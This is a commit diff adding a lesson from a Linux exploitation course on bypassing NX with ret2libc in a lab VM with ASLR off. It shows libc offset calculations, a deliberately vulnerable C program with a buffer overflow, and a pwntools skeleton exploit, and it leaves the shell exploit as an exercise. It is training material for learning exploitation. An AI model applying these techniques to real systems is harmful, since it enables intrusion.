|
1 | 1 | # Bypassing NX with Ret2Libc
|
2 | 2 |
|
3 |
| -<Talk about finding the base address of libc and directly jumping to it.> |
4 |
| -<No remote examples since ASLR is still off> |
| 3 | +We were able to pick from a wealth of ROP gadgets to construct the ROP chain in |
| 4 | +the previous section because the binary was huge. Now, what happens if the |
| 5 | +binary we have to attack is not large enough to provide us the gadgets we need? |
| 6 | + |
| 7 | +One possible solution, since ASLR is disabled, would be to search for our |
| 8 | +gadgets in the shared libraries loaded by the program such as libc. |
| 9 | +However, if we had these addresses into libc, we could simplify our exploit to |
| 10 | +reuse useful functions. One such useful function could be the amazing `system()` |
| 11 | +function. |
| 12 | + |
| 13 | +## Investigating Shared Libraries |
| 14 | + |
| 15 | +To investigate this, we can create a diagnostic binary to introspectively look |
| 16 | +at the virtual memory map and to print us the resolved `system()` address. The |
| 17 | +[source][1] is as follows: |
| 18 | + |
| 19 | +```c |
| 20 | +#define _GNU_SOURCE |
| 21 | +#include <stdlib.h> |
| 22 | +#include <stdio.h> |
| 23 | +#include <dlfcn.h> |
| 24 | +#include <unistd.h> |
| 25 | + |
| 26 | + |
| 27 | +int main() { |
| 28 | + puts("This program helps visualise where libc is loaded.\n"); |
| 29 | + int pid = getpid(); |
| 30 | + char command[500]; |
| 31 | + puts("Memory Layout: "); |
| 32 | + sprintf(command, "cat /proc/%d/maps", pid); |
| 33 | + system(command); |
| 34 | + puts("\nFunction Addresses: "); |
| 35 | + printf("System@libc 0x%lx\n", dlsym(RTLD_NEXT, "system")); |
| 36 | + printf("PID: %d\n", pid); |
| 37 | + puts("Press enter to continue."); |
| 38 | + read(0, command, 1); |
| 39 | +} |
| 40 | +``` |
| 41 | + |
| 42 | +I have compiled two versions of the binary, a [32 bit version][2] and a [64 bit |
| 43 | +version][3]. |
| 44 | + |
| 45 | +Running the 32 bit one: |
| 46 | + |
| 47 | +```shell |
| 48 | +amon@bethany:~/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build$ ./1_reveal_addresses |
| 49 | +This program helps visualise where libc is loaded. |
| 50 | + |
| 51 | +Memory Layout: |
| 52 | +08048000-08049000 r-xp 00000000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses |
| 53 | +08049000-0804a000 r--p 00000000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses |
| 54 | +0804a000-0804b000 rw-p 00001000 00:27 329 /vagrant/lessons/7_bypass_nx_ret2libc/build/1_reveal_addresses |
| 55 | +0804b000-0806c000 rw-p 00000000 00:00 0 [heap] |
| 56 | +f7e0f000-f7e10000 rw-p 00000000 00:00 0 |
| 57 | +f7e10000-f7fbf000 r-xp 00000000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so |
| 58 | +f7fbf000-f7fc0000 ---p 001af000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so |
| 59 | +f7fc0000-f7fc2000 r--p 001af000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so |
| 60 | +f7fc2000-f7fc3000 rw-p 001b1000 08:01 256310 /lib/i386-linux-gnu/libc-2.23.so |
| 61 | +f7fc3000-f7fc6000 rw-p 00000000 00:00 0 |
| 62 | +f7fc6000-f7fc9000 r-xp 00000000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so |
| 63 | +f7fc9000-f7fca000 r--p 00002000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so |
| 64 | +f7fca000-f7fcb000 rw-p 00003000 08:01 256309 /lib/i386-linux-gnu/libdl-2.23.so |
| 65 | +f7fd4000-f7fd6000 rw-p 00000000 00:00 0 |
| 66 | +f7fd6000-f7fd8000 r--p 00000000 00:00 0 [vvar] |
| 67 | +f7fd8000-f7fd9000 r-xp 00000000 00:00 0 [vdso] |
| 68 | +f7fd9000-f7ffb000 r-xp 00000000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so |
| 69 | +f7ffb000-f7ffc000 rw-p 00000000 00:00 0 |
| 70 | +f7ffc000-f7ffd000 r--p 00022000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so |
| 71 | +f7ffd000-f7ffe000 rw-p 00023000 08:01 256300 /lib/i386-linux-gnu/ld-2.23.so |
| 72 | +fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack] |
| 73 | + |
| 74 | +Function Addresses: |
| 75 | +System@libc 0xf7e4ada0 |
| 76 | +PID: 20738 |
| 77 | +Press enter to continue. |
| 78 | +``` |
| 79 | + |
| 80 | +Note the base address of libc-2-2.23.so (0xf7e10000) and the resolved address of |
| 81 | +system (0xf7e4ada0). Let's subtract the address of the base address from the |
| 82 | +address of system to get the system offset. |
| 83 | + |
| 84 | +```shell |
| 85 | +In [15]: 0xf7e4ada0-0xf7e10000 |
| 86 | +Out[15]: 241056 |
| 87 | +In [16]: hex(0xf7e4ada0-0xf7e10000) |
| 88 | +Out[16]: '0x3ada0' |
| 89 | +``` |
| 90 | + |
| 91 | +Take note of that offset, 0x3ada0. Next, we can disassemble the libc shared |
| 92 | +object and look for the start of the system function. |
| 93 | + |
| 94 | + |
| 95 | +```shell |
| 96 | +ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/i386-linux-gnu/libc-2.23.so | grep system |
| 97 | +0003ada0 <__libc_system@@GLIBC_PRIVATE>: |
| 98 | + 3adb4: 74 0a je 3adc0 <__libc_system@@GLIBC_PRIVATE+0x20> |
| 99 | +00112d60 <svcerr_systemerr@@GLIBC_2.0>: |
| 100 | +``` |
| 101 | + |
| 102 | +That's a bingo. Notice how the offset we calculated previously is the same as |
| 103 | +the address of `__libc_system@@GLIBC_PRIVATE`. |
| 104 | + |
| 105 | +We can repeat this with the 64 bit one: |
| 106 | + |
| 107 | +```shell |
| 108 | +This program helps visualise where libc is loaded. |
| 109 | + |
| 110 | +Memory Layout: |
| 111 | +00400000-00401000 r-xp 00000000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64 |
| 112 | +00600000-00601000 r--p 00000000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64 |
| 113 | +00601000-00602000 rw-p 00001000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64 |
| 114 | +01609000-0162a000 rw-p 00000000 00:00 0 [heap] |
| 115 | +7f649ccfe000-7f649cebd000 r-xp 00000000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so |
| 116 | +7f649cebd000-7f649d0bd000 ---p 001bf000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so |
| 117 | +7f649d0bd000-7f649d0c1000 r--p 001bf000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so |
| 118 | +7f649d0c1000-7f649d0c3000 rw-p 001c3000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so |
| 119 | +7f649d0c3000-7f649d0c7000 rw-p 00000000 00:00 0 |
| 120 | +7f649d0c7000-7f649d0ca000 r-xp 00000000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so |
| 121 | +7f649d0ca000-7f649d2c9000 ---p 00003000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so |
| 122 | +7f649d2c9000-7f649d2ca000 r--p 00002000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so |
| 123 | +7f649d2ca000-7f649d2cb000 rw-p 00003000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so |
| 124 | +7f649d2cb000-7f649d2f1000 r-xp 00000000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so |
| 125 | +7f649d4cd000-7f649d4d0000 rw-p 00000000 00:00 0 |
| 126 | +7f649d4ee000-7f649d4f0000 rw-p 00000000 00:00 0 |
| 127 | +7f649d4f0000-7f649d4f1000 r--p 00025000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so |
| 128 | +7f649d4f1000-7f649d4f2000 rw-p 00026000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so |
| 129 | +7f649d4f2000-7f649d4f3000 rw-p 00000000 00:00 0 |
| 130 | +7ffd9f7b7000-7ffd9f7d8000 rw-p 00000000 00:00 0 [stack] |
| 131 | +7ffd9f7e0000-7ffd9f7e2000 r--p 00000000 00:00 0 [vvar] |
| 132 | +7ffd9f7e2000-7ffd9f7e4000 r-xp 00000000 00:00 0 [vdso] |
| 133 | +ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] |
| 134 | + |
| 135 | +Function Addresses: |
| 136 | +System@libc 0x7f649cd43390 |
| 137 | +PID: 16781 |
| 138 | +Press enter to continue. |
| 139 | +``` |
| 140 | + |
| 141 | +Calculating the difference. |
| 142 | + |
| 143 | +```shell |
| 144 | +In [17]: 0x7f649cd43390-0x7f649ccfe000 |
| 145 | +Out[17]: 283536 |
| 146 | +In [18]: hex(0x7f649cd43390-0x7f649ccfe000) |
| 147 | +Out[18]: '0x45390' |
| 148 | +``` |
| 149 | + |
| 150 | +Finding the address of system in the 64 bit libc binary. |
| 151 | + |
| 152 | +```shell |
| 153 | +ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ objdump -d /lib/x86_64-linux-gnu/libc-2.23.so | grep system |
| 154 | +0000000000045390 <__libc_system@@GLIBC_PRIVATE>: |
| 155 | + 45393: 74 0b je 453a0 <__libc_system@@GLIBC_PRIVATE+0x10> |
| 156 | +0000000000137c20 <svcerr_systemerr@@GLIBC_2.2.5>: |
| 157 | +``` |
| 158 | + |
| 159 | +And we have another match. |
| 160 | + |
| 161 | +## Calculating Addresses |
| 162 | + |
| 163 | +This is useful information as now we have a way to calculate the addresses of |
| 164 | +useful functions given the base address of libc. Since shared objects are mapped |
| 165 | +at the same location without randomisation due to ASLR being disabled, we can |
| 166 | +very easily find the addresses of useful things such as the `system()` function |
| 167 | +and the `/bin/sh` string by examining the libc shared object on its own. |
| 168 | + |
| 169 | +To make life easier, the ['libc-database' toolset by Niklas Baumstark][4], |
| 170 | +provides helper scripts to build a libc database, identify versions of libc from |
| 171 | +information leaks, and dump useful offsets. In the vagrant provisioning script, |
| 172 | +I have already added the pertinent libc versions used in the exercises. |
| 173 | + |
| 174 | +```shell |
| 175 | +ubuntu@ubuntu-xenial:~/libc-database$ ./identify /lib/i386-linux-gnu/libc-2.23.so |
| 176 | +id local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed |
| 177 | +ubuntu@ubuntu-xenial:~/libc-database$ ./dump local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed |
| 178 | +offset___libc_start_main_ret = 0x18637 |
| 179 | +offset_system = 0x0003ada0 |
| 180 | +offset_dup2 = 0x000d6190 |
| 181 | +offset_read = 0x000d5980 |
| 182 | +offset_write = 0x000d59f0 |
| 183 | +offset_str_bin_sh = 0x15b82b |
| 184 | +ubuntu@ubuntu-xenial:~/libc-database$ |
| 185 | +``` |
| 186 | + |
| 187 | +## Exploiting a Minimalist Vulnerable Binary |
| 188 | + |
| 189 | +Let's do the opposite of what we did the last section. Instead of attacking a |
| 190 | +bloated binary, we are going to attack a really lean and mean one. Something |
| 191 | +[like this][5]: |
| 192 | + |
| 193 | +```c |
| 194 | +#include <stdio.h> |
| 195 | +#include <stdlib.h> |
| 196 | + |
| 197 | +void vuln() { |
| 198 | + char buffer[64]; |
| 199 | + read(0, buffer, 96); |
| 200 | +} |
| 201 | + |
| 202 | +int main() { |
| 203 | + vuln(); |
| 204 | +} |
| 205 | +``` |
| 206 | + |
| 207 | +Running the [binary][6]: |
| 208 | + |
| 209 | +```shell |
| 210 | +ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ ./3_vulnerable |
| 211 | +TEST |
| 212 | +ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/build$ |
| 213 | +``` |
| 214 | + |
| 215 | +It really does not do much. Here is the [skeleton exploit code][7] to achieve |
| 216 | +EIP control. |
| 217 | + |
| 218 | +```python |
| 219 | +#!/usr/bin/python |
| 220 | + |
| 221 | +from pwn import * |
| 222 | + |
| 223 | +def main(): |
| 224 | + # Start the process |
| 225 | + p = process("../build/3_vulnerable") |
| 226 | + |
| 227 | + # Print the pid |
| 228 | + raw_input(str(p.proc.pid)) |
| 229 | + |
| 230 | + # Craft the payload |
| 231 | + payload = "A"*76 + p32(0xdeadc0de) |
| 232 | + payload = payload.ljust(96, "\x00") |
| 233 | + |
| 234 | + # Send the payload |
| 235 | + p.send(payload) |
| 236 | + |
| 237 | + # Pass interaction to the user |
| 238 | + p.interactive() |
| 239 | + |
| 240 | +if __name__ == "__main__": |
| 241 | + main() |
| 242 | +``` |
| 243 | + |
| 244 | +## Exercise 7.1: Writing the Final Exploit |
| 245 | + |
| 246 | +At this point, it is simply a matter of finding at which address is libc mapped |
| 247 | +onto and then calculating the addresses of useful functions from the offsets we |
| 248 | +dumped. |
| 249 | + |
| 250 | +Try to obtain a shell by making the necessary additions to the skeleton code. |
| 251 | +Please attempt to do this on your own before looking at the [solution][8]. |
| 252 | + |
| 253 | + |
| 254 | +[1]: ./src/1_reveal_addresses.c |
| 255 | +[2]: ./build/1_reveal_addresses |
| 256 | +[3]: ./build/2_reveal_addresses64 |
| 257 | +[4]: https://github.com/niklasb/libc-database |
| 258 | +[5]: ./src/2_vulnerable.c |
| 259 | +[6]: ./build/3_vulnerable |
| 260 | +[7]: ./scripts/1_skeleton.py |
| 261 | +[8]: ./script/2_final.py |
0 commit comments